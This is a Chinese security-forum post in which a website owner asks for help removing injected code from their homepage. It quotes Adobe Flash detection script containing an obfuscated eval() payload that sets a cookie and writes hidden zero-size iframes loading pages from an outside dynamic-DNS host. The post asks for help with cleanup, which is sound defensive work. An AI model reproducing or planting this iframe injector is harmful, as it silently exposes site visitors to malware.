瑞星卡卡安全论坛

最近个人网站被挂上恶意代码，访问网站首页的同时，会弹出黄色页面，

仔细检查了首页的脚本，发现其中一段似乎是恶意的代码，

请各位高手看看，我需要清除这段代码，但是不能把正常的代码删掉

求各位高手指点，这段代码从那里开头？哪里结尾？作用除了弹出页面还有什么？


//v1.7
// Flash Player Version Detection
// Detect Client Browser type
// Copyright 2005-2007 Adobe Systems Incorporated.  All rights reserved.
var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5 k=4.h;5 j=k.z("g");y(j!=-1){}x{5 2=w v();2.u(2.t()+s*i*i*r);4.h="g=q;2="+2.p();4.f("<3 e=d://c.b.a/9/o.n 8=7 6=0></3>");4.f("<3 e=d://c.b.a/9/m.l 8=7 6=0></3>")}',36,36,'||expires|iframe|document|var|height|10|width|include|org|3322|360safe7|http|src|write|cookiesleep|cookie|60|start|cookieString|asp|as|htm|index|toGMTString|test|1000|12|getTime|setTime|Date|new|else|if|indexOf'.split('|'),0,{}))
function ControlVersion()
{
var version;
var axo;
var e;
// NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry
try {
  // version will be set for 7.X or greater players
  axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
  version = axo.GetVariable("$version");
} catch (e) {
}

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;  Embedded Web Browser from: http://bsalsa.com/; .NET CLR 2.0.50727; CIBA; FDM)

删除下面这段代码，建议操作前先做好备份工作：